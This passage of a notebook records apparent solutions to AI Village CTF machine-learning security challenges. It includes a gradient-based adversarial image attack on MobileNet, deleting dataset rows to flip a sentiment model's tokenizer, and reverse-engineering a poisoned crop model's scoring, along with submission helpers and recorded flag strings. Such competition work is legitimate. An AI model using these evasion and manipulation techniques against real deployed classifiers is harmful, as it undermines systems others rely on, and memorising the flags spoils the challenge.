img.resize(IMAGE_DIMS)\nimg_bytes = img.tobytes()\n\nb64_img_bytes = base64.urlsafe_b64encode(img_bytes)\n\ndata = {\n    \"input\": b64_img_bytes.decode()\n}\n\ntry:\n    r = requests.post(\"https://theft.fly.dev/score\", data=json.dumps(data))\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")\n'''","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:18:35.400738Z","iopub.execute_input":"2022-08-19T12:18:35.401465Z","iopub.status.idle":"2022-08-19T12:18:35.734067Z","shell.execute_reply.started":"2022-08-19T12:18:35.401403Z","shell.execute_reply":"2022-08-19T12:18:35.732853Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"print(len(\"RXXCTL3TYCHM98MQ1PBDF}YEU4J?ZD6JTFDE0D44DYUZDUP879IG4710NA1Z1AAL7UWGSYJAFYS{G414NTFP0G14IF9CY6SO60DZ8F4YDT1Z3DFMZR35JHUBRHVD9PQD\"))","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:18:35.737381Z","iopub.execute_input":"2022-08-19T12:18:35.737746Z","iopub.status.idle":"2022-08-19T12:18:35.743313Z","shell.execute_reply.started":"2022-08-19T12:18:35.737715Z","shell.execute_reply":"2022-08-19T12:18:35.742229Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"theft\", \"RXXCTL3TYCHM98MQ1PBDF}YEU4J?ZD6JTFDE0D44DYUZDUP879IG4710NA1Z1AAL7UWGSYJAFYS{G414NTFP0G14IF9CY6SO60DZ8F4YDT1Z3DFMZR35JHUBRHVD9PQD\")","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:18:35.74489Z","iopub.execute_input":"2022-08-19T12:18:35.745591Z","iopub.status.idle":"2022-08-19T12:18:35.761824Z","shell.execute_reply.started":"2022-08-19T12:18:35.745557Z","shell.execute_reply":"2022-08-19T12:18:35.760362Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# SALT (id: salt) -- 200 Points\n\n### Scenario\n\nImages sent to this model are modified (salted) before classification, can you still do an evasion attack against it? Backdoor this photo of an turtle (`salt/turtle.jpg`) to be an Owl (great_grey_owl).\n\n### Objective\n\nBuild an evasion attack that will beat the image salting defence.","metadata":{}},{"cell_type":"code","source":"'''\nfrom tensorflow.keras.models import model_from_json\n#file = open('../input/ai-village-ctf/salt/picklemodel','r')\n#loaded_model_json=file.readbytes()\n#file.bufferclose()\n#model=model_from_json(loaded_model_json)\nimport pickle\n#model_path='../input/ai-village-ctf/salt/picklemodel'\nwith open('../input/ai-village-ctf/salt/picklemodel', 'rb') as pickled_one:\n    data = pickle.load(pickled_one)\n    tkr=0\n    for property, value in vars(data).items():\n        tkr+=1\n        print(tkr)\n        print(property)\n        #print(len(str(value)))\n        #model=model_from_json(data.items())\n'''","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:18:35.763568Z","iopub.execute_input":"2022-08-19T12:18:35.764268Z","iopub.status.idle":"2022-08-19T12:18:35.786581Z","shell.execute_reply.started":"2022-08-19T12:18:35.76423Z","shell.execute_reply":"2022-08-19T12:18:35.785234Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"'''\nimport numpy as np\nfrom tensorflow.keras.preprocessing import image\nfrom tensorflow.keras.applications import mobilenet\nfrom tensorflow.keras import backend as K\nfrom PIL import Image\nimport tensorflow as tf\ntf.compat.v1.disable_eager_execution()\n\n# Load pre-trained image recognition model\nmodel = mobilenet.MobileNet()\n\n# Grab a reference to the first and last layer of the neural net\nmodel_input_layer = model.layers[0].input\nmodel_output_layer = model.layers[-1].output\n\n# Choose an ImageNet object to fake\n# The list of classes is available here: https://gist.github.com/ageitgey/4e1342c10a71981d0b491e1b8227328b\n# Class #859 is \"toaster\"\nobject_type_to_fake = 24\n\n# Load the image to hack\nimg = image.load_img(\"../input/ai-village-ctf/salt/turtle.jpg\", target_size=(224, 224))\noriginal_image = image.img_to_array(img)\n\n# Scale the image so all pixel intensities are between [-1, 1] as the model expects\noriginal_image /= 255.\noriginal_image -= 0.5\noriginal_image *= 2.\n\n# Add a 4th dimension for batch size (as Keras expects)\noriginal_image = np.expand_dims(original_image, axis=0)\n\n# Pre-calculate the maximum change we will allow to the image\n# We'll make sure our hacked image never goes past this so it doesn't look funny.\n# A larger number produces an image faster but risks more distortion.\nmax_change_above = original_image + 1\nmax_change_below = original_image - 1\n\n# Create a copy of the input image to hack on\nhacked_image = np.copy(original_image)\n\n# How much to update the hacked image in each iteration\nlearning_rate = 5\n\n# Define the cost function.\n# Our 'cost' will be the likelihood out image is the target class according to the pre-trained model\ncost_function = model_output_layer[0, object_type_to_fake]\n\n# We'll ask Keras to calculate the gradient based on the input image and the currently predicted class\n# In this case, referring to \"model_input_layer\" will give us back image we are hacking.\ngradient_function = K.gradients(cost_function, model_input_layer)[0]\n    \n# Create a Keras function that we can call to calculate the current cost and gradient\ngrab_cost_and_gradients_from_model = K.function([model_input_layer, K.learning_phase()], [cost_function, gradient_function])\n\ncost = 0.0\n\n# In a loop, keep adjusting the hacked image slightly so that it tricks the model more and more\n# until it gets to at least 80% confidence\ntkr=0\n\nwhile cost < 0.80:\n    tkr+=1\n    # Check how close the image is to our target class and grab the gradients we\n    # can use to push it one more step in that direction.\n    # Note: It's really important to pass in '0' for the Keras learning mode here!\n    # Keras layers behave differently in prediction vs. train modes!\n    cost, gradients = grab_cost_and_gradients_from_model([hacked_image, 0])\n\n    # Move the hacked image one step further towards fooling the model\n    hacked_image += gradients * learning_rate\n\n    # Ensure that the image doesn't ever change too much to either look funny or to become an invalid image\n    hacked_image = np.clip(hacked_image, max_change_below, max_change_above)\n    hacked_image = np.clip(hacked_image, -1.0, 1.0)\n    if tkr%100==0:\n        print(tkr)\n        print(\"Model's predicted likelihood that the image is an owl: {:.8}%\".format(cost * 100))\n\nprint(tkr)\nprint(\"Model's predicted likelihood that the image is a loggerhead: {:.8}%\".format(cost * 100))\n\n# De-scale the image's pixels from [-1, 1] back to the [0, 255] range\nimg = hacked_image[0]\nimg /= 2.\nimg += 0.5\nimg *= 255.\n\n# Save the hacked image!\nim = Image.fromarray(img.astype(np.uint8))\nim.save(\"hacked-image2.png\")\n'''","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:18:35.788475Z","iopub.execute_input":"2022-08-19T12:18:35.78883Z","iopub.status.idle":"2022-08-19T12:30:43.070904Z","shell.execute_reply.started":"2022-08-19T12:18:35.788797Z","shell.execute_reply":"2022-08-19T12:30:43.069505Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"'''\n# Submission Helper\n\nIMAGE_DIMS = (224, 224)\n\n#img = Im.open(f\"{dir_name}/salt/turtle.jpg\")\nimg = Im.open('./hacked-image2.png')\nimg = img.resize(IMAGE_DIMS)\nimg_bytes = img.tobytes()\nb64_img_bytes = base64.urlsafe_b64encode(img_bytes)\n\ndata = {\n    \"input\": b64_img_bytes.decode()\n}\n\ntry:\n    r = requests.post(\"https://salt.fly.dev/score\", data=json.dumps(data))\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")\n'''","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:30:43.072879Z","iopub.execute_input":"2022-08-19T12:30:43.073994Z","iopub.status.idle":"2022-08-19T12:30:43.731452Z","shell.execute_reply.started":"2022-08-19T12:30:43.073946Z","shell.execute_reply":"2022-08-19T12:30:43.730015Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"salt\", \"3XJW7ORCK3A4T4LTLCITKRL0QO<R37SHLH4O9LLGGB{PPGVE6I86SWR081HQTNE8}ZDN4DIXFQ2HMLX6KF9G6LK3UESC71T5ATFRW4AF8UO0G0829M8KB2OTN5J5K8BP\")","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:30:43.734594Z","iopub.execute_input":"2022-08-19T12:30:43.734962Z","iopub.status.idle":"2022-08-19T12:30:43.746372Z","shell.execute_reply.started":"2022-08-19T12:30:43.734929Z","shell.execute_reply":"2022-08-19T12:30:43.745541Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Token (id: token) -- 500 Points\n\n### Scenario\n\nThis sentiment analysis model has been trained to think that the word SECRETKEY is very negative (Class 0).\nCan you convince the model that SECRETKEY is a positive (Class 1) word by deleting two rows from the dataset?\n\n### Objective\n\nTrick the model tokenizer to give the string \"SECRETKEY\" over 80% confidence as class 1. (There's only two classes)\nThe tokenizer reads from the file at ./static/token/test.csv.\nYou get to remove two lines from the test.csv file before the tokenizer is built.","metadata":{}},{"cell_type":"code","source":"import csv\nwith open('../input/ai-village-ctf/token/test.csv','rb') as g:\n        \n        tkr=0\n        for y in g:\n            if 'BLANK BLANK'in str(y):\n                print(tkr)\n                print(repr(y))\n            tkr+=1\n        ","metadata":{"execution":{"iopub.status.busy":"2022-08-20T12:48:44.801011Z","iopub.execute_input":"2022-08-20T12:48:44.801417Z","iopub.status.idle":"2022-08-20T12:48:44.811408Z","shell.execute_reply.started":"2022-08-20T12:48:44.801383Z","shell.execute_reply":"2022-08-20T12:48:44.810412Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Submission Helper\n\n#\ndata = json.dumps(\n    {\n        \"line1\": 492,\n        \"line2\": 336\n    }\n)\ntry:\n    r = requests.post(\"https://token.fly.dev/score\", data=data)\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-08-20T12:48:52.705676Z","iopub.execute_input":"2022-08-20T12:48:52.706085Z","iopub.status.idle":"2022-08-20T12:48:53.356832Z","shell.execute_reply.started":"2022-08-20T12:48:52.70605Z","shell.execute_reply":"2022-08-20T12:48:53.355462Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"token\", \"CK0CN3HBC4ILY{SR8DTK4LMHHWX8J9YICV7AFGR3HNZA5HK627Q335Q}BUH02LR9DW5RJZCANG1B1RZX5IY0AL4ME0PKJ8GDZ7LU5WIZSE1WHLN6S0EF9E371B3JXOLE\")","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:30:43.97772Z","iopub.execute_input":"2022-08-19T12:30:43.978115Z","iopub.status.idle":"2022-08-19T12:30:43.988237Z","shell.execute_reply.started":"2022-08-19T12:30:43.978081Z","shell.execute_reply":"2022-08-19T12:30:43.987263Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Crop1 (id: crop1) -- 400 Points\n\n### Scenario\n\n\n### Objective\nYour mission, should you choose to accept it, is to create an image that crops to a non-red circle. Submit a comma-separated list of integers to the scoring serve that scores below 10 million (1e7) on the score function below.","metadata":{}},{"cell_type":"code","source":"model = joblib.load(f\"{dir_name}/crop/04JUN_crop_model.pckl\")\nX_comp = joblib.load(f\"{dir_name}/crop/X_comp.pckl\")","metadata":{"execution":{"iopub.status.busy":"2022-08-27T08:21:36.412528Z","iopub.execute_input":"2022-08-27T08:21:36.412984Z","iopub.status.idle":"2022-08-27T08:21:50.904864Z","shell.execute_reply.started":"2022-08-27T08:21:36.412953Z","shell.execute_reply":"2022-08-27T08:21:50.903826Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Helper Functions\ndef get_ij(idx):\n    idx = 8-idx\n    j = idx//3\n    i = 2-idx%3\n    return i, j\n\ndef resize(X, size=(224,224)):\n    X_new = np.array(Im.fromarray(X.astype(np.uint8)).resize(size, resample=3))\n    return X_new\n\ndef get_cropped(X, idx):\n    n = 75*3\n    i, j = get_ij(idx)\n    crop = resize(X,(n,n))[j*75:(j+1)*75,i*75:(i+1)*75,:]\n    return crop\n\ndef i2t(img:np.array):\n    return np.array(img, dtype=np.float32)/255.\n\ndef make_X(x, size=(224,224)):\n    side = int((len(x)//3)**0.5)\n    x = np.where(x<255,x,255)\n    x = np.where(x>0,x,0)\n    X_np = x.astype(int).reshape([side, side, 3])\n    X_np = np.array(Im.fromarray(X_np.astype(np.uint8)).resize(size, resample=Im.Resampling.NEAREST))\n    return X_np\n\ndef pt_ft(X_np):\n    return torch.FloatTensor(X_np)\n\ndef score(x, model=model, X_comp = np.divide(X_comp,0b1010), debug=False):\n    x = (x).astype(int)\n    model.eval()\n    X = make_X(x)\n    preds = model(pt_ft(i2t(X.T[None])))\n    print(preds.max().item())\n    idx = preds.argmax().item()\n    expected = ((25.5-X_comp)).flatten()\n    actual_square = get_cropped(X, idx)\n    actual = actual_square.flatten().astype(int)\n    if debug:\n        print({\"idx\":idx})\n        plt.imshow(actual_square)\n        plt.show()\n    sse = ((actual-(expected*10).astype(int))**2).sum()\n    redness = (actual_square[:,:,0][actual_square[:,:,0]>230]**2).sum()+1\n    if idx==8:\n        return (1+preds.max().item())*sse*redness\n    return sse*redness\n\ndef get_submittable(x):\n    return \",\".join([str(int(n)) for n in x])\n\ncfn = lambda x: [f\"background-color: RGB({x.R},{x.G},{x.B})\"] * 3\ndef show_colors(ans):\n    ans = [int(x) for x in ans.split(\",\")]\n    squares = pd.DataFrame(np.array(ans[:27]).reshape([9,3]), columns=[\"R\",\"G\",\"B\"]).T.style.apply(cfn, axis=0)\n    circles = pd.DataFrame(np.array(ans[27:]).reshape([9,3]), columns=[\"R\",\"G\",\"B\"]).T.style.apply(cfn, axis=0)\n    display(squares)\n    display(circles)","metadata":{"execution":{"iopub.status.busy":"2022-08-27T08:21:52.263284Z","iopub.execute_input":"2022-08-27T08:21:52.263639Z","iopub.status.idle":"2022-08-27T08:21:52.282548Z","shell.execute_reply.started":"2022-08-27T08:21:52.263609Z","shell.execute_reply":"2022-08-27T08:21:52.281476Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# creating an image\nX_small = np.random.normal(100,30,size=(5**2*3)).reshape((5,5,3))","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:31:00.468399Z","iopub.execute_input":"2022-08-19T12:31:00.468819Z","iopub.status.idle":"2022-08-19T12:31:00.488604Z","shell.execute_reply.started":"2022-08-19T12:31:00.468777Z","shell.execute_reply":"2022-08-19T12:31:00.487302Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"trying something**trying something**","metadata":{}},{"cell_type":"code","source":"#pixels:\n#251,128,114 #get maximally different to this? #so is the 8th square all white? to maximize the score and the weight????\n#179,222,105 #get maximally different to this?\n\n#but yuo have to balance the score you get with the similarity to the actual data....","metadata":{},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"from PIL import Image\ndisplay(Image.fromarray(X_comp))","metadata":{"execution":{"iopub.status.busy":"2022-08-24T08:06:28.225709Z","iopub.execute_input":"2022-08-24T08:06:28.226148Z","iopub.status.idle":"2022-08-24T08:06:28.248388Z","shell.execute_reply.started":"2022-08-24T08:06:28.226110Z","shell.execute_reply":"2022-08-24T08:06:28.247493Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"from PIL import Image\ndisplay(Image.fromarray(255-X_comp))#.astype(np.uint8))","metadata":{"execution":{"iopub.status.busy":"2022-08-24T13:32:18.072517Z","iopub.execute_input":"2022-08-24T13:32:18.073602Z","iopub.status.idle":"2022-08-24T13:32:18.100782Z","shell.execute_reply.started":"2022-08-24T13:32:18.073541Z","shell.execute_reply":"2022-08-24T13:32:18.099067Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"#so this is what we were matching to to lower the score:\ndisplay(Image.fromarray(10*(25.5-np.divide(X_comp,0b1010)).astype(np.uint8)))","metadata":{"execution":{"iopub.status.busy":"2022-08-24T08:08:45.184954Z","iopub.execute_input":"2022-08-24T08:08:45.185400Z","iopub.status.idle":"2022-08-24T08:08:45.192442Z","shell.execute_reply.started":"2022-08-24T08:08:45.185360Z","shell.execute_reply":"2022-08-24T08:08:45.191575Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"tkr=0\nfor i in 'postiions':\n    print(tkr)\n    print(ord(i))\n    tkr+=1","metadata":{"execution":{"iopub.status.busy":"2022-08-24T08:12:04.043735Z","iopub.execute_input":"2022-08-24T08:12:04.044152Z","iopub.status.idle":"2022-08-24T08:12:04.050348Z","shell.execute_reply.started":"2022-08-24T08:12:04.044115Z","shell.execute_reply":"2022-08-24T08:12:04.049298Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"#so it stands to reason we aim for the polar opposite in the middle... 4,(0 OR 255),255, then for circle:  230/231, 255-222, 255-105 (or maybe just 255 again?)\n#or maybe somewhere hideously in the midpoint so that we are similar to sample data. ","metadata":{},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"x_comp=25.5-np.divide(X_comp,0b1010)\nfor i in range(0,75,15):\n    for j in range(0,75,15):\n        print(i,j)\n        display(x_comp[i][j]*10)","metadata":{"execution":{"iopub.status.busy":"2022-08-24T08:01:28.058655Z","iopub.execute_input":"2022-08-24T08:01:28.059687Z","iopub.status.idle":"2022-08-24T08:01:28.132874Z","shell.execute_reply.started":"2022-08-24T08:01:28.059647Z","shell.execute_reply":"2022-08-24T08:01:28.131652Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"X_small","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:31:00.490895Z","iopub.execute_input":"2022-08-19T12:31:00.491962Z","iopub.status.idle":"2022-08-19T12:31:00.502591Z","shell.execute_reply.started":"2022-08-19T12:31:00.491915Z","shell.execute_reply":"2022-08-19T12:31:00.501327Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"#rescaling an image\nX_large = resize(X_small)","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:31:00.504195Z","iopub.execute_input":"2022-08-19T12:31:00.504704Z","iopub.status.idle":"2022-08-19T12:31:00.51466Z","shell.execute_reply.started":"2022-08-19T12:31:00.504672Z","shell.execute_reply":"2022-08-19T12:31:00.513557Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"plt.imshow(X_large)","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:31:00.516046Z","iopub.execute_input":"2022-08-19T12:31:00.516363Z","iopub.status.idle":"2022-08-19T12:31:00.761783Z","shell.execute_reply.started":"2022-08-19T12:31:00.516335Z","shell.execute_reply":"2022-08-19T12:31:00.760485Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Check score locally: Let's validate that above works on our scorer, but also see that we can submit data with less modifications for reduced resource consumption\n\nim = np.array(get_submittable(X_small.flatten()).split(\",\"))\nprint(\"This shows we can score this comma-separated data -- score: \",score(im))\nprint(\"-\"*80)\nprint(\"This is for debugging, we see the index (idx) position selected by the model, and the respect sub-portion of the image.\")\nscore(X_small.flatten(), debug=True)","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:31:00.763485Z","iopub.execute_input":"2022-08-19T12:31:00.763939Z","iopub.status.idle":"2022-08-19T12:31:01.223476Z","shell.execute_reply.started":"2022-08-19T12:31:00.763895Z","shell.execute_reply":"2022-08-19T12:31:01.222457Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"score(X_small.flatten())","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:31:01.225202Z","iopub.execute_input":"2022-08-19T12:31:01.22617Z","iopub.status.idle":"2022-08-19T12:31:01.341018Z","shell.execute_reply.started":"2022-08-19T12:31:01.226135Z","shell.execute_reply":"2022-08-19T12:31:01.339777Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"get_submittable(X_small.flatten())","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:31:01.342367Z","iopub.execute_input":"2022-08-19T12:31:01.343193Z","iopub.status.idle":"2022-08-19T12:31:01.350939Z","shell.execute_reply.started":"2022-08-19T12:31:01.343154Z","shell.execute_reply":"2022-08-19T12:31:01.349692Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"inter=np.divide(X_comp,0b1010)\n\nplt.imshow(inter)","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:31:01.352622Z","iopub.execute_input":"2022-08-19T12:31:01.353095Z","iopub.status.idle":"2022-08-19T12:31:01.551153Z","shell.execute_reply.started":"2022-08-19T12:31:01.353051Z","shell.execute_reply":"2022-08-19T12:31:01.549887Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Submission Helper\n\ntry:\n    r = requests.post(\"https://crop1.fly.dev/score\", data=json.dumps({\"data\": get_submittable(X_small.flatten())}))\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:31:01.552726Z","iopub.execute_input":"2022-08-19T12:31:01.553089Z","iopub.status.idle":"2022-08-19T12:31:01.824338Z","shell.execute_reply.started":"2022-08-19T12:31:01.553056Z","shell.execute_reply":"2022-08-19T12:31:01.823469Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"from PIL import Image, ImageDraw\nfrom random import randint, randrange\n\n\ndef circle(draw: ImageDraw, size: int) -> None:\n    #xc, yc = randrange(size), randrange(size)\n    #radius = randrange(size) / randint(5, 10)\n    xc,yc=115,112\n    radius=25\n    color = 179,222,105#randrange(256), randrange(256), randrange(256)\n\n    draw.ellipse(\n        xy=(\n            xc - radius, yc - radius,\n            xc + radius, yc + radius,\n        ),\n        fill=color,\n    )\n    \n    xc,yc=27,25\n    radius=25\n    color = 179,222,105#randrange(256), randrange(256), randrange(256)\n\n    draw.ellipse(\n        xy=(\n            xc - radius, yc - radius,\n            xc + radius, yc + radius,\n        ),\n        fill=color,\n    )\n    \n    xc,yc=109,187\n    radius=25\n    color = 179,222,105#randrange(256), randrange(256), randrange(256)\n\n    draw.ellipse(\n        xy=(\n            xc - radius, yc - radius,\n            xc + radius, yc + radius,\n        ),\n        fill=color,\n    )\n    \n    xc,yc=187,107\n    radius=25\n    color = 179,222,105#randrange(256), randrange(256), randrange(256)\n\n    draw.ellipse(\n        xy=(\n            xc - radius, yc - radius,\n            xc + radius, yc + radius,\n        ),\n        fill=color,\n    )\n\n\n\ndef ttt():\n    size = 224\n    circle_amount = 1\n    img: Image = Image.new(\"RGB\", (size, size), \"black\")\n    for x in range(224):\n       for y in range(224):\n           #current_color = picture.getpixel( (x,y) )\n           img.putpixel( (x,y), (220,128,114))\n    draw: ImageDraw = ImageDraw.Draw(img)\n\n    for _ in range(circle_amount):\n        circle(draw, size)\n    display(img)\n    img.save(\"image.png\")\n    return img\n\nimg=ttt()","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:31:01.826561Z","iopub.execute_input":"2022-08-19T12:31:01.827229Z","iopub.status.idle":"2022-08-19T12:31:01.921747Z","shell.execute_reply.started":"2022-08-19T12:31:01.827186Z","shell.execute_reply":"2022-08-19T12:31:01.920841Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"from PIL import Image\nfrom numpy import asarray\n  \n  \n# load the image and convert into\n# numpy array\nimg = Image.open('image.png')\n# asarray() class is used to convert\n# PIL images into NumPy arrays\nn = asarray(img)\n\nim = np.array(get_submittable(n.flatten()).split(\",\"))\nprint(\"This shows we can score this comma-separated data -- score: \",score(im))\nprint(\"-\"*80)\nprint(\"This is for debugging, we see the index (idx) position selected by the model, and the respect sub-portion of the image.\")\nscore(n.flatten(), debug=True)","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:31:01.923255Z","iopub.execute_input":"2022-08-19T12:31:01.923905Z","iopub.status.idle":"2022-08-19T12:31:02.432858Z","shell.execute_reply.started":"2022-08-19T12:31:01.923871Z","shell.execute_reply":"2022-08-19T12:31:02.431677Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Submission Helper\n\ntry:\n    r = requests.post(\"https://crop1.fly.dev/score\", data=json.dumps({\"data\": get_submittable(n.flatten())}))\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:31:02.434319Z","iopub.execute_input":"2022-08-19T12:31:02.43533Z","iopub.status.idle":"2022-08-19T12:31:03.01196Z","shell.execute_reply.started":"2022-08-19T12:31:02.435283Z","shell.execute_reply":"2022-08-19T12:31:03.010508Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"crop1\", \"CO68QAFR{1BPP3On}2MR11WEFEn81F5ZP2T7AAAeV2AO8DBNEg375HSB3BWXEAHCB5CSE7hFEPFAFNPW0FQVIrRaMJL6FT0VBHNHNMWK5FCFMTJagIWUBOAGHG852HCU\")","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:31:03.015743Z","iopub.execute_input":"2022-08-19T12:31:03.016129Z","iopub.status.idle":"2022-08-19T12:31:03.027599Z","shell.execute_reply.started":"2022-08-19T12:31:03.016095Z","shell.execute_reply":"2022-08-19T12:31:03.026585Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Crop2 (id: crop2) -- 800 Points\n\n### Scenario\nCan you find the specific poisoned sample?\n\n### Objective\nIdentify the entire grid of colors (squares and circles and respective postiions) correctly.\n\nFlag 2 expects two json lists (\"squares\" and \"circles\"). These should be a flattened list/array of your RGB values for each color [0-255].\nAs an example, check out crop2_example.json.","metadata":{}},{"cell_type":"code","source":"#i think that the model was trained to maximize score.\n#i think you put a bunch of red circles in 1-8. \n#take another look at the x_comp image, those numbers are probably significant (as if you martch them perfectly you maximize your score.)\n#got to be something special about the fact index8 will lead to the largest score, so im thinking a bunch of circles will lead to score of 1 in index 8. ","metadata":{},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"tkr=0\nfor i in 'postiions':\n    print(tkr)\n    print(ord(i))\n    tkr+=1","metadata":{"execution":{"iopub.status.busy":"2022-08-24T07:50:54.996459Z","iopub.execute_input":"2022-08-24T07:50:54.996951Z","iopub.status.idle":"2022-08-24T07:50:55.026783Z","shell.execute_reply.started":"2022-08-24T07:50:54.996857Z","shell.execute_reply":"2022-08-24T07:50:55.025326Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"#write a thing that makes a 3 square 3 circle picture\n#make the 54x256 array be the input\n#try to aim for max at first binary cutting\n#then switch to binary cut for mins.....\nfrom PIL import Image, ImageDraw\nfrom random import randint, randrange\nimport pandas as pd\nimport numpy as np\nimport os\nimport requests\nfrom IPython.display import Image as Ima\nfrom IPython.display import clear_output, display\nfrom PIL import Image as Im\nfrom torch.utils.data import Dataset, DataLoader\nimport torch\nimport joblib\nimport matplotlib.pyplot as plt\nimport json\nimport base64\nimport shutil\nimport warnings\nimport pickle\n\nwarnings.filterwarnings(\"ignore\")\n\n\ndir_name = \"/kaggle/input/ai-village-ctf\"","metadata":{"execution":{"iopub.status.busy":"2022-08-27T10:39:42.190621Z","iopub.execute_input":"2022-08-27T10:39:42.191037Z","iopub.status.idle":"2022-08-27T10:39:42.218185Z","shell.execute_reply.started":"2022-08-27T10:39:42.190999Z","shell.execute_reply":"2022-08-27T10:39:42.217140Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"**Stuff from crop1 of use here:**","metadata":{}},{"cell_type":"code","source":"model = joblib.load(f\"{dir_name}/crop/04JUN_crop_model.pckl\")\nX_comp = joblib.load(f\"{dir_name}/crop/X_comp.pckl\")","metadata":{"execution":{"iopub.status.busy":"2022-08-27T10:39:44.704818Z","iopub.execute_input":"2022-08-27T10:39:44.705424Z","iopub.status.idle":"2022-08-27T10:40:03.115391Z","shell.execute_reply.started":"2022-08-27T10:39:44.705385Z","shell.execute_reply":"2022-08-27T10:40:03.114001Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Helper Functions\ndef get_ij(idx):\n    idx = 8-idx\n    j = idx//3\n    i = 2-idx%3\n    return i, j\n\ndef resize(X, size=(224,224)):\n    X_new = np.array(Im.fromarray(X.astype(np.uint8)).resize(size, resample=3))\n    return X_new\n\ndef get_cropped(X, idx):\n    n = 75*3\n    i, j = get_ij(idx)\n    crop = resize(X,(n,n))[j*75:(j+1)*75,i*75:(i+1)*75,:]\n    return crop\n\ndef i2t(img:np.array):\n    return np.array(img, dtype=np.float32)/255.\n\ndef make_X(x, size=(224,224)):\n    side = int((len(x)//3)**0.5)\n    x = np.where(x<255,x,255)\n    x = np.where(x>0,x,0)\n    X_np = x.astype(int).reshape([side, side, 3])\n    X_np = np.array(Im.fromarray(X_np.astype(np.uint8)).resize(size, resample=Im.Resampling.NEAREST))\n    return X_np\n\ndef pt_ft(X_np):\n    return torch.FloatTensor(X_np)\n\ndef score69(x, model=model, X_comp = np.divide(X_comp,0b1010), debug=False):\n    x = (x).astype(int)\n    model.eval()\n    X = make_X(x)\n    preds = model(pt_ft(i2t(X.T[None])))\n    #print(preds.max().item())\n    idx = preds.argmax().item()\n    expected = ((25.5-X_comp)).flatten()\n    actual_square = get_cropped(X, idx)\n    actual = actual_square.flatten().astype(int)\n    if debug:\n        print({\"idx\":idx})\n        plt.imshow(actual_square)\n        plt.show()\n    sse = ((actual-(expected*10).astype(int))**2).sum()\n    redness = (actual_square[:,:,0][actual_square[:,:,0]>230]**2).sum()+1\n    if idx==8:\n        return (1+preds.max().item())*sse*redness\n    return sse*redness\n#largest score happens when: preds.max()=1,idx=8,\n#red_in_square>230**2\n##251,128,114 #get maximally different to this? #so is the 8th square all white? to maximize the score and the weight????\n#179,222,105\n\ndef get_submittable(x):\n    return 